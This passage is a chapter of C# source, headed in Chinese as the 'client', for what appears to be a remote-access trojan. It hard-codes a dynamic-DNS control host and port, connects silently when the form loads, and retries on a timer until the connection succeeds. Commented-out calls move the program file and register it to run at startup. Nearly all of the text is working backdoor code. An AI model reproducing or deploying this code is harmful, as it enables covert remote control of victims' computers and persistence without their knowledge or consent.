第二章 客户端
using System.Net;
using System.Net.Sockets;
using System.Management;
using System.IO;
using System.IO.Compression;
using System.Threading;
using System.Diagnostics;
using Microsoft.Win32;
using System.Drawing.Imaging;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.InteropServices;
Int32 port = 11000;
string host = "xujuntao0000.3322.org";
TcpClient client = null;
Socket newSocket = null;
Message messageForm = null;
string clientname = "";//程序随机生成的文件名
string path = "";//程序移动到的文件路径及名称
private void Form1_Load(object sender, EventArgs e)
{
//注册表实现移动文件并开机启动
//path = MoveFile();
//RunStart();
try
{
client = new TcpClient(host, port);
newSocket = client.Client;
GetSetData();
}
catch
{
timer1.Enabled = true;
}
}
public void timer1_Tick(object sender, EventArgs e)
{
try
{
TcpClient client = new TcpClient(host, port);
newSocket = client.Client;
timer1.Enabled = false;
GetSetData();
}
catch
{
}
}